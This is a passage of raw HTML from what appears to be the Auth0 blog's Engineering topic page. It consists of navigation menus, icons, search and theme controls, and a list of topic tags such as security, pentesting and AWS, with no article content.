href="https://okta.valuestoryapp.com/okta/?utm_Origin=Auth0" rel="external" class="styled__Link-k7d9qa-0 dNLwir"><div class="styled__Container-k7d9qa-1 dXPgwV"><img loading="lazy" src="https://cdn.auth0.com/website/header/ROI_thumb_2x.png" alt="" class="styled__Image-k7d9qa-3 iACfSx"/><div><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 jOKDAt bdewcp">CIAM ROI Calculator</p><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 bkTDvW eTNTBu">Estimate the revenue impact to your customer-facing business</p></div></div></a></section></section></div></li><li role="menuitem" aria-haspopup="false" tabindex="0" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><a href="/blog/" rel="external" class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Blog</span></a></li><li role="menuitem" aria-haspopup="false" class="styled__NavListEl-sc-1755fzv-16 dnWatv"><a href="/pricing/" rel="external" class="styled__NavElementButton-sc-1755fzv-15 goPIno"><span>Pricing</span></a></li></ul><div class="styled__ButtonList-sc-1755fzv-8 hLHYiD"><a role="button" rel="external" href="/signup?place=header&amp;type=button&amp;text=sign%20up" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 etdOck iyreho"><span>Sign up</span></a><a role="button" rel="external" href="/contact-us?place=header&amp;type=button&amp;text=contact%20sales" tabindex="0" class="styled__Button-sc-1hwml9q-0 utils-sc-11hlfw-0 cmgpvv dTOMa-D"><span>Contact sales</span></a></div></div></nav></header><nav id="blog-header" class="sc-1gkkh2j-0 cmMjKH"><div class="sc-1gkkh2j-1 hfnTjw"><div class="sc-1gkkh2j-5 ktqmki"><a href="/blog" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 kVgWkQ cvLfHs">Blog</a><button aria-label="chevron icon, open menu" class="sc-1gkkh2j-4 jqUhwM"><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><g id="icon-chevron-down"><path id="Vector" d="M13.6314 15.7829L19.7072 9.70712L18.293 8.29291L12.5001 14.0858L6.70718 8.29291L5.29297 9.70712L11.3687 15.7829C11.9935 16.4077 13.0066 16.4077 13.6314 15.7829Z" fill="#FFFEFA"></path></g></svg></button></div><div class="sc-1gkkh2j-2 djkNR"><div class="sc-1gkkh2j-11 kpLfjt"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa lmzreS">Explore Topics</p></div><ul class="sc-1gkkh2j-6 drcxHp"><li class="sc-1gkkh2j-8 bUbYVZ"><a href="/blog/ai" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">AI</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 jZeTEE"><a href="/blog/developers" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Developers</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 eMQqDZ"><a href="/blog/identity-and-security" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Identity &amp; Security</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 fiENtL"><a href="/blog/business" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Business</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 dPGYxJ"><a href="/blog/culture" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Culture</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 jtthK"><a href="/blog/engineering" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Engineering</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li><li class="sc-1gkkh2j-8 kvjbE"><a href="/blog/announcements" class="sc-1gkkh2j-7 eAKUYk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Announcements</p><svg width="25" height="24" viewBox="0 0 25 24" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M16.9572 12.7071L10.4572 19.2071L9.04297 17.7928L14.8359 12L9.04297 6.20706L10.4572 4.79285L16.9572 11.2928C17.1447 11.4804 17.2501 11.7347 17.2501 12C17.2501 12.2652 17.1447 12.5195 16.9572 12.7071Z" fill="#FFFEFA"></path></svg></a></li></ul></div><div class="sc-1gkkh2j-9 hAGWZa"><div class="sc-1gkkh2j-16 dOVPCc"><div class="sc-1q6s0ef-0 iPbnr"><div class="sc-8jxe5n-0 gRIKWN"><button aria-label="Open search bar" id="open-search-mobile" class="sc-8jxe5n-3 exdfoO"><svg width="17" height="16" viewBox="0 0 17 16" fill="#FFFEFA" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M7.16634 1.33331C4.22082 1.33331 1.83301 3.72113 1.83301 6.66665C1.83301 9.61217 4.22082 12 7.16634 12C8.38796 12 9.51365 11.5893 10.4129 10.8984L14.0283 14.5138L14.9711 13.571L11.361 9.96087C12.0742 9.05392 12.4997 7.90997 12.4997 6.66665C12.4997 3.72113 10.1119 1.33331 7.16634 1.33331ZM3.16634 6.66665C3.16634 4.45751 4.9572 2.66665 7.16634 2.66665C9.37548 2.66665 11.1663 4.45751 11.1663 6.66665C11.1663 8.87579 9.37548 10.6666 7.16634 10.6666C4.9572 10.6666 3.16634 8.87579 3.16634 6.66665Z" fill="#FFFEFA"></path></svg></button><form action="/blog/search" method="get" class="sc-8jxe5n-1 bHAfBe"><div class="sc-8jxe5n-4 fcGWOt"><fieldset id="react-aria886599216-104460" class="styled__InputWrapper-sc-zjpc1c-2 lrdPx"><svg class="styled__SearchIcon-sc-zjpc1c-3 dNHNJo" width="16" height="16" fill="none" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M7 12A5 5 0 1 0 7 2a5 5 0 0 0 0 10Z" stroke="#8C929C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="m14 14-3.467-3.467" stroke="#8C929C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path></svg><input type="text" placeholder="Search..." aria-label="search" value="" autoComplete="off" name="query" id="react-aria886599216-104456" aria-describedby="react-aria886599216-104458 react-aria886599216-104459" class="styled__TextInput-sc-zjpc1c-1 bLVyXv"/></fieldset></div><input type="hidden" name="page" value="1"/></form></div></div></div><div class="sc-8aqj4j-0 gCBQiB"><button id="theme__selector" aria-label="Open theme selector" class="sc-8aqj4j-1 fjEeoE"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M13.3335 2H2.66683C1.93045 2 1.3335 2.59695 1.3335 3.33333V10C1.3335 10.7364 1.93045 11.3333 2.66683 11.3333H13.3335C14.0699 11.3333 14.6668 10.7364 14.6668 10V3.33333C14.6668 2.59695 14.0699 2 13.3335 2Z" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path><path d="M5.3335 14H10.6668" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="square" stroke-linejoin="round"></path><path d="M8 11.3335V14.0002" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path></svg></button><ul class="sc-8aqj4j-2 gdIxpa"><li class="sc-8aqj4j-3 iaowVa"><button id="theme__system" selected="" class="sc-8aqj4j-4 kTELOh"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M13.3335 2H2.66683C1.93045 2 1.3335 2.59695 1.3335 3.33333V10C1.3335 10.7364 1.93045 11.3333 2.66683 11.3333H13.3335C14.0699 11.3333 14.6668 10.7364 14.6668 10V3.33333C14.6668 2.59695 14.0699 2 13.3335 2Z" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path><path d="M5.3335 14H10.6668" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="square" stroke-linejoin="round"></path><path d="M8 11.3335V14.0002" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">System</span></button></li><li class="sc-8aqj4j-3 iaowVa"><button id="theme__dark" class="sc-8aqj4j-4 jmjPHc"><svg width="17" height="16" viewBox="0 0 17 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M8.55426 1.6727C8.68328 1.90162 8.66579 2.18497 8.50959 2.39629C7.33265 3.98854 7.49774 6.20226 8.89782 7.60234C10.2979 9.00243 12.5116 9.16751 14.1039 7.99057C14.3152 7.83438 14.5985 7.81688 14.8275 7.9459C15.0564 8.07491 15.1882 8.32637 15.164 8.58803C14.8398 12.096 11.8421 14.7463 8.32086 14.6381C4.79957 14.5299 1.97028 11.7006 1.86208 8.1793C1.75389 4.65801 4.40413 1.66036 7.91213 1.33618C8.17379 1.312 8.42525 1.44377 8.55426 1.6727ZM6.71057 2.95845C4.58978 3.72467 3.12249 5.78538 3.19479 8.13835C3.28135 10.9554 5.54477 13.2188 8.36181 13.3054C10.7148 13.3777 12.7755 11.9104 13.5417 9.78959C11.6386 10.4786 9.44928 10.0394 7.95501 8.54515C6.46075 7.05089 6.02154 4.86154 6.71057 2.95845Z" fill="#FFFEFA"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">Dark mode</span></button></li><li class="sc-8aqj4j-3 iaowVa"><button id="theme__light" class="sc-8aqj4j-4 jmjPHc"><svg width="17" height="16" viewBox="0 0 17 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M7.83317 2.66667V0.666672H9.1665V2.66667H7.83317Z" fill="#FFFEFA"></path><path d="M4.36175 4.80474L2.84175 3.28474L3.78456 2.34193L5.30455 3.86193L4.36175 4.80474Z" fill="#FFFEFA"></path><path d="M14.1579 3.28474L12.6379 4.80474L11.6951 3.86194L13.2151 2.34194L14.1579 3.28474Z" fill="#FFFEFA"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M4.49984 8C4.49984 5.79087 6.2907 4 8.49984 4C10.709 4 12.4998 5.79087 12.4998 8C12.4998 10.2091 10.709 12 8.49984 12C6.2907 12 4.49984 10.2091 4.49984 8ZM8.49984 5.33334C7.02708 5.33334 5.83317 6.52725 5.83317 8C5.83317 9.47276 7.02708 10.6667 8.49984 10.6667C9.9726 10.6667 11.1665 9.47276 11.1665 8C11.1665 6.52725 9.9726 5.33334 8.49984 5.33334Z" fill="#FFFEFA"></path><path d="M3.1665 8.66667H1.1665V7.33334H3.1665V8.66667Z" fill="#FFFEFA"></path><path d="M15.8332 8.66667H13.8332V7.33334H15.8332V8.66667Z" fill="#FFFEFA"></path><path d="M5.30455 12.1381L3.78456 13.6581L2.84175 12.7153L4.36175 11.1953L5.30455 12.1381Z" fill="#FFFEFA"></path><path d="M13.2151 13.6581L11.6951 12.1381L12.6379 11.1953L14.1579 12.7153L13.2151 13.6581Z" fill="#FFFEFA"></path><path d="M7.83317 15.3333V13.3333H9.1665V15.3333H7.83317Z" fill="#FFFEFA"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">Light mode</span></button></li></ul></div></div></div></nav><nav class="sc-19z8ym3-0 iyxCTh"><div class="sc-19z8ym3-1 fAWgzp"></div><div class="sc-19z8ym3-2 ePjeMY"><a href="/blog" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 hZdkzi lbFYLj">Blog</a><ul class="sc-19z8ym3-3 jdjutH"><li class="sc-19z8ym3-4 cIIkJD"><a href="/blog/ai" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">AI</a></li><li class="sc-19z8ym3-4 kKvPZn"><a href="/blog/developers" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Developers</a></li><li class="sc-19z8ym3-4 iVeAMP"><a href="/blog/identity-and-security" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Identity &amp; Security</a></li><li class="sc-19z8ym3-4 fJixJm"><a href="/blog/business" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Business</a></li><li class="sc-19z8ym3-4 gbVuTJ"><a href="/blog/culture" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Culture</a></li><li selected="" class="sc-19z8ym3-4 gXNXgh"><a href="/blog/engineering" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Engineering</a></li><li class="sc-19z8ym3-4 fInsdZ"><a href="/blog/announcements" class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gXwSZc lbFYLj">Announcements</a></li></ul><div class="sc-19z8ym3-5 hkZJsJ"><div class="sc-1q6s0ef-0 iPbnr"><div class="sc-8jxe5n-0 gRIKWN"><button aria-label="Open search bar" id="open-search-mobile" class="sc-8jxe5n-3 exdfoO"><svg width="17" height="16" viewBox="0 0 17 16" fill="#FFFEFA" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M7.16634 1.33331C4.22082 1.33331 1.83301 3.72113 1.83301 6.66665C1.83301 9.61217 4.22082 12 7.16634 12C8.38796 12 9.51365 11.5893 10.4129 10.8984L14.0283 14.5138L14.9711 13.571L11.361 9.96087C12.0742 9.05392 12.4997 7.90997 12.4997 6.66665C12.4997 3.72113 10.1119 1.33331 7.16634 1.33331ZM3.16634 6.66665C3.16634 4.45751 4.9572 2.66665 7.16634 2.66665C9.37548 2.66665 11.1663 4.45751 11.1663 6.66665C11.1663 8.87579 9.37548 10.6666 7.16634 10.6666C4.9572 10.6666 3.16634 8.87579 3.16634 6.66665Z" fill="#FFFEFA"></path></svg></button><form action="/blog/search" method="get" class="sc-8jxe5n-1 bHAfBe"><div class="sc-8jxe5n-4 fcGWOt"><fieldset id="react-aria886599216-104465" class="styled__InputWrapper-sc-zjpc1c-2 lrdPx"><svg class="styled__SearchIcon-sc-zjpc1c-3 dNHNJo" width="16" height="16" fill="none" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M7 12A5 5 0 1 0 7 2a5 5 0 0 0 0 10Z" stroke="#8C929C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path><path d="m14 14-3.467-3.467" stroke="#8C929C" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"></path></svg><input type="text" placeholder="Search..." aria-label="search" value="" autoComplete="off" name="query" id="react-aria886599216-104461" aria-describedby="react-aria886599216-104463 react-aria886599216-104464" class="styled__TextInput-sc-zjpc1c-1 bLVyXv"/></fieldset></div><input type="hidden" name="page" value="1"/></form></div></div><div class="sc-8aqj4j-0 gCBQiB"><button id="theme__selector" aria-label="Open theme selector" class="sc-8aqj4j-1 fjEeoE"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M13.3335 2H2.66683C1.93045 2 1.3335 2.59695 1.3335 3.33333V10C1.3335 10.7364 1.93045 11.3333 2.66683 11.3333H13.3335C14.0699 11.3333 14.6668 10.7364 14.6668 10V3.33333C14.6668 2.59695 14.0699 2 13.3335 2Z" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path><path d="M5.3335 14H10.6668" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="square" stroke-linejoin="round"></path><path d="M8 11.3335V14.0002" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path></svg></button><ul class="sc-8aqj4j-2 gdIxpa"><li class="sc-8aqj4j-3 iaowVa"><button id="theme__system" selected="" class="sc-8aqj4j-4 kTELOh"><svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16" fill="none"><path d="M13.3335 2H2.66683C1.93045 2 1.3335 2.59695 1.3335 3.33333V10C1.3335 10.7364 1.93045 11.3333 2.66683 11.3333H13.3335C14.0699 11.3333 14.6668 10.7364 14.6668 10V3.33333C14.6668 2.59695 14.0699 2 13.3335 2Z" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path><path d="M5.3335 14H10.6668" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="square" stroke-linejoin="round"></path><path d="M8 11.3335V14.0002" stroke="#FFFEFA" stroke-width="1.33333" stroke-linecap="round" stroke-linejoin="round"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">System</span></button></li><li class="sc-8aqj4j-3 iaowVa"><button id="theme__dark" class="sc-8aqj4j-4 jmjPHc"><svg width="17" height="16" viewBox="0 0 17 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M8.55426 1.6727C8.68328 1.90162 8.66579 2.18497 8.50959 2.39629C7.33265 3.98854 7.49774 6.20226 8.89782 7.60234C10.2979 9.00243 12.5116 9.16751 14.1039 7.99057C14.3152 7.83438 14.5985 7.81688 14.8275 7.9459C15.0564 8.07491 15.1882 8.32637 15.164 8.58803C14.8398 12.096 11.8421 14.7463 8.32086 14.6381C4.79957 14.5299 1.97028 11.7006 1.86208 8.1793C1.75389 4.65801 4.40413 1.66036 7.91213 1.33618C8.17379 1.312 8.42525 1.44377 8.55426 1.6727ZM6.71057 2.95845C4.58978 3.72467 3.12249 5.78538 3.19479 8.13835C3.28135 10.9554 5.54477 13.2188 8.36181 13.3054C10.7148 13.3777 12.7755 11.9104 13.5417 9.78959C11.6386 10.4786 9.44928 10.0394 7.95501 8.54515C6.46075 7.05089 6.02154 4.86154 6.71057 2.95845Z" fill="#FFFEFA"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">Dark mode</span></button></li><li class="sc-8aqj4j-3 iaowVa"><button id="theme__light" class="sc-8aqj4j-4 jmjPHc"><svg width="17" height="16" viewBox="0 0 17 16" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M7.83317 2.66667V0.666672H9.1665V2.66667H7.83317Z" fill="#FFFEFA"></path><path d="M4.36175 4.80474L2.84175 3.28474L3.78456 2.34193L5.30455 3.86193L4.36175 4.80474Z" fill="#FFFEFA"></path><path d="M14.1579 3.28474L12.6379 4.80474L11.6951 3.86194L13.2151 2.34194L14.1579 3.28474Z" fill="#FFFEFA"></path><path fill-rule="evenodd" clip-rule="evenodd" d="M4.49984 8C4.49984 5.79087 6.2907 4 8.49984 4C10.709 4 12.4998 5.79087 12.4998 8C12.4998 10.2091 10.709 12 8.49984 12C6.2907 12 4.49984 10.2091 4.49984 8ZM8.49984 5.33334C7.02708 5.33334 5.83317 6.52725 5.83317 8C5.83317 9.47276 7.02708 10.6667 8.49984 10.6667C9.9726 10.6667 11.1665 9.47276 11.1665 8C11.1665 6.52725 9.9726 5.33334 8.49984 5.33334Z" fill="#FFFEFA"></path><path d="M3.1665 8.66667H1.1665V7.33334H3.1665V8.66667Z" fill="#FFFEFA"></path><path d="M15.8332 8.66667H13.8332V7.33334H15.8332V8.66667Z" fill="#FFFEFA"></path><path d="M5.30455 12.1381L3.78456 13.6581L2.84175 12.7153L4.36175 11.1953L5.30455 12.1381Z" fill="#FFFEFA"></path><path d="M13.2151 13.6581L11.6951 12.1381L12.6379 11.1953L14.1579 12.7153L13.2151 13.6581Z" fill="#FFFEFA"></path><path d="M7.83317 15.3333V13.3333H9.1665V15.3333H7.83317Z" fill="#FFFEFA"></path></svg> <span class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk lbFYLj">Light mode</span></button></li></ul></div></div></div></nav><div class="sc-18w14yg-0 cxRPsw"><section class="sc-14t63q7-0 bqSjfU"><ul class="sc-14t63q7-1 kUZLOE"><li><a href="/blog" class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa hZxSJK">Blog</a></li><li><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 calwMa gCRKXL">Topics</p></li></ul><h1 class="styled__Heading-sc-165cfko-2 utils-sc-11hlfw-0 iAnvHw lbFYLj">Engineering</h1></section><div class="sc-18w14yg-2 gtUHwd"><aside class="sc-24f204-0 heMXcy"><div class="wiotl7-0 egvjS"><div class="dh4ait-0 ePAqkg"><p class="styled__Overline-sc-165cfko-0 utils-sc-11hlfw-0 bvimfW keBOjr">Tags</p></div><div class="wiotl7-1 keAMQj"><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#verification</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#auth0</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#forms</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#fga</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#okta</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#aws</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#nodejs</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#attacks</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#security</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#woman</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#engineering</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#ens</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#ethereum</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#authorization</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#fine-grained</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#development</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#shift-left</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#lifecycle</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#code-review</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#software-development</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#pull-request</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#quality</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#software-engineering</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#mentor</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#mentorship</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#internal-tools</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#scaling</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#docker</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#slack</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#communications</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#developer-tools</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#tools</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#cloud</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#cloud-engineering</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#lambda</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#pentesting</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#policy</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#sqs</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#s3</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#buckets</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#data</p></button><button class="sc-1xszjru-0 dDTyLk"><p class="styled__Paragraph-sc-165cfko-1 utils-sc-11hlfw-0 gWBdwk bBeyP">#breach</p></button><button 